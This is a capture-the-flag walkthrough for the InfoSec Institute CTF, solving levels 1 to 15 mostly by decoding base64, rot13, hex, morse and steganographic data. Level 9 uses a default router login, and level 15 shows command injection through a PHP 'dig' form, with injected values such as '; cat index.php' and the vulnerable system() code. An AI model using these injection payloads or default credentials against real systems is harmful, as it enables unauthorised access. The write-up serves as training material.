Explanations for http://ctf.infosecinstitute.com/

CTF_Solutions.txt

http://ctf.infosecinstitute.com/

## Level 1:

View the source, at the top we see:

<!-- infosec_flagis_welcome -->

Level 1 PASS: infosec_flagis_welcome

## Level 2:

We have a broken image at: http://ctf.infosecinstitute.com/img/leveltwo.jpeg

$ curl -s http://ctf.infosecinstitute.com/img/leveltwo.jpeg
aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc=

$ curl -s http://ctf.infosecinstitute.com/img/leveltwo.jpeg | base64 -D
infosec_flagis_wearejuststarting

Level 2 PASS: infosec_flagis_wearejuststarting

====

## Level 3:

We decode the QR code using an online service:

http://zxing.org/w/decode?u=http%3A%2F%2Fctf.infosecinstitute.com%2Fimg%2Fqrcode.png

Output:

.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.

This looks like morse code.

We resolve it to: INFOSECFLAGISMORSING

Level 3 PASS: INFOSECFLAGISMORSING

## Level 4:

We land on the page and see cookie monster tell us HTTP stands for "Hyper Text Transfer Protocol."

Well, part of the protocol is cookie monster's favorite: COOKIES!

We see:

$ GET http://ctf.infosecinstitute.com/levelfour.php
GET /levelfour.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: ctf.infosecinstitute.com

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 1235
Content-Type: text/html
Date: Thu, 12 Mar 2015 21:42:25 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.6

fusrodah is a reference to a DBZ meme, look it up.

The text "vasbfrp_syntvf_jrybirpbbxvrf" is the password crypted using rot13.

Level 4 PASS: infosec_flagis_welovecookies
===

Level 5:

There's an infinite loop forcing an alert box that reads "hacker."

Most modern browsers will allow you to "prevent further pop-ups", but alternatively you can download the page using an external tool (such as wget or curl)

$ wget -o levelfive.html http://ctf.infosecinstitute.com/levelfive.php

ANOTHER option is to type into your browser: "view-source:http://ctf.infosecinstitute.com/levelfive.php" and you should see the source.

We see:
	<script>
	for(;;){
	alert('Hacker!!!');
	}
	</script>
	
	<img src="img/aliens.jpg" /> <br /> <br />

I tried to run  "strings" on the image but nothing significant came up..

$ curl -s http://ctf.infosecinstitute.com/img/aliens.jpg | strings | head -n 512
JFIF
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
}/p2
E(5mN
>0x:
k0h^,
5}.-V
W'k]
3Meo4
vq]i
_MkIti
pFON95
Ul3D
ko0nE
...

So, we can run a Steg tool like "Steghide" (https://futureboy.us/stegano/decinput.html) to try to see if there's any readily available text in the file.

We get back:

01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011

$ perl -e '$bin="01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011"; $len=length($bin); print pack("B$len", $bin);'
infosec_flagis_stegaliens

Level 5 PASS: infosec_flagis_stegaliens

===

Level 6:

We download sharkfin.pcap.

$ tcpdump -qns 0 -X -r sharkfin.pcap | head
reading from file sharkfin.pcap, link-type EN10MB (Ethernet)
14:59:54.303760 IP 127.0.0.1.32769 > 127.0.0.1.139: UDP, length 44
	0x0000:  4500 0048 0000 4000 4011 3ca3 7f00 0001  E..H..@.@.<.....
	0x0010:  7f00 0001 8001 008b 0034 0000 3639 3665  .........4..696e
	0x0020:  3636 3666 3733 3635 3633 3566 3636 3663  666f7365635f666c
	0x0030:  3631 3637 3639 3733 3566 3733 3665 3639  616769735f736e69
	0x0040:  3636 3636 3635 3634                      66666564
15:10:33.563340 IP 192.168.1.103.2925 > 133.242.147.91.80: tcp 0
	0x0000:  4500 0028 1acb 4000 8006 04a8 c0a8 0167  E..([email protected]
	0x0010:  85f2 935b 0b6d 0050 bbf2 588c 6f42 6144  ...[.m.P..X.oBaD
	0x0020:  5011 1006 d3ad 0000                      P.......

Quickly browsing around I notice,

696e666f7365635f666c616769735f736e6966666564 is hex encoded: infosec_flagis_sniffed

Level 6 PASS: infosec_flagis_sniffed

===

Level 7:

$ curl --HEAD http://ctf.infosecinstitute.com/404.php
HTTP/1.0 404 Not Found
Date: Thu, 12 Mar 2015 22:03:58 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Connection: close
Content-Type: text/html

$ curl --HEAD http://ctf.infosecinstitute.com/levelseven.php
HTTP/1.0 200 aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA==
Date: Thu, 12 Mar 2015 22:04:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Connection: close
Content-Type: text/html

$ echo -n "aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA==" | base64 -D
infosec_flagis_youfoundit

Level 7 PASS: infosec_flagis_youfoundit

===

Level 8:

Because I'm on a Mac I solved this first without even opening the app:

$ strings app.exe| ack -i infosec_flag
infosec_flagis_0x1a

BUT, to do what's right, I booted a virtual machine to debug the app and make sure!

See Dump here: http://i.imgur.com/CcqudvC.png

Level 8 PASS: infosec_flagis_0x1a

===

Level 9:

We load the page and see a "CISCO IDS Login"

Look up default logins for any CISCO IDS router, we see: "root/attack"

Type it in, we get an alert "ssaptluafed_sigalf_cesofni"

$ echo -n "ssaptluafed_sigalf_cesofni" | rev
infosec_flagis_defaultpass

Level 9 PASS: infosec_flagis_defaultpass

===

Level 11:

$ curl -s http://ctf.infosecinstitute.com/img/php-logo-virus.jpg | strings | grep infosec_flag
infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm

Level 11 PASS: infosec_flagis_http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif

===

Level 12:

View source, we see "http://ctf.infosecinstitute.com/css/design.css" is being imported now.

$ curl -s http://ctf.infosecinstitute.com/css/design.css
.thisloveis{
	color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72;
}

696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72 is hex for infosec_flagis_heyimnotacolor

Level 12 PASS: infosec_flagis_heyimnotacolor

===

Level 13:

After fuzzing the URL we find: http://ctf.infosecinstitute.com/levelthirteen.php.old

This file contains:

<?php

    /* <img src="img/clippy1.jpg" class="imahe" /> <br /> <br />

    <p>Do you want to download this mysterious file?</p>

    <a href="misc/imadecoy">
      <button class="btn">Yes</button>
    </a>

    <a href="index.php">
      <button class="btn">No</button>
    </a>
    */

    ?>
  </div>
  
So, we get the file and check it..

$ wget http://ctf.infosecinstitute.com/misc/imadecoy
..
$ file imadecoy
imadecoy: tcpdump capture file (little-endian) - version 2.4 (Linux "cooked", capture length 65535)

So let's open the dump in Wireshark.

We see a user requests a file "/honeypy/img/HoneyPY.PNG"

View / Dump the image, and we get a png: "infosec_flagis_morepackets"

===

Level 14:

We download a file, http://ctf.infosecinstitute.com/misc/level14.

The file contains SQL data.

We notice a table "flag?" which has some hashed password.

Attempted to crack using JTR (John the Ripper) to no avail.

Check other tables and find significant value "\u0069\u006e\u0066\u006f\u0073\u0065\u0063\u005f\u0066\u006c\u0061\u0067\u0069\u0073\u005f\u0077\u0068\u0061\u0074\u0073\u006f\u0072\u0063\u0065\u0072\u0079\u0069\u0073\u0074\u0068\u0069\u0073" under "name" column in "friends" table.

Replace \u00 with \x and parse..

\x69\x6e\x66\x6f\x73\x65\x63\x5f\x66\x6c\x61\x67\x69\x73\x5f\x77\x68\x61\x74\x73\x6f\x72\x63\x65\x72\x79\x69\x73\x74\x68\x69\x73

Then pass through:

$ python -c 'print "\x69\x6e\x66\x6f\x73\x65\x63\x5f\x66\x6c\x61\x67\x69\x73\x5f\x77\x68\x61\x74\x73\x6f\x72\x63\x65\x72\x79\x69\x73\x74\x68\x69\x73"'
infosec_flagis_whatsorceryisthis

Level 14 PASS: infosec_flagis_whatsorceryisthis

===

Level 15:

http://ctf.infosecinstitute.com/levelfifteen/index.php

If we enter "; <cmd>" we can execute multiple commands.

Example:
    ; cat index.php
    
This gives us the source of index.php, where we see:

<?php
        if(isset($_POST['dig'])){
        echo "<pre>";
        $cmd = ($_POST['dig']);
        system("dig mx " . $cmd );
        echo "</pre>";
        die;
        }   
      ?>
      
GREAT!

now if we do:
    ; ls -lah
    
we see:

total 16K
drwxrwxr-x 2 ubuntu ubuntu 4.0K Mar  3 18:50 .
drwxr-xr-x 7 ubuntu ubuntu 4.0K Mar  4 22:14 ..
-rw-rw-r-- 1 ubuntu ubuntu   37 Mar  6 20:27 .hey
-rw-rw-r-- 1 ubuntu ubuntu 3.8K Mar  6 20:27 index.php

so we do:
    ; cat .hey
    
we get:

Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC

We can decrypt this hash using an ATOM-128 Decypter tool found here: http://crypto.x-usenext.net/eng_atom128d.php

We get: infosec_flagis_rceatomized

[.. TODO: FINISH Level 10! ..]

CDEFGHIJSTUVWXYZcdefghijstuvwxyzC����������������������������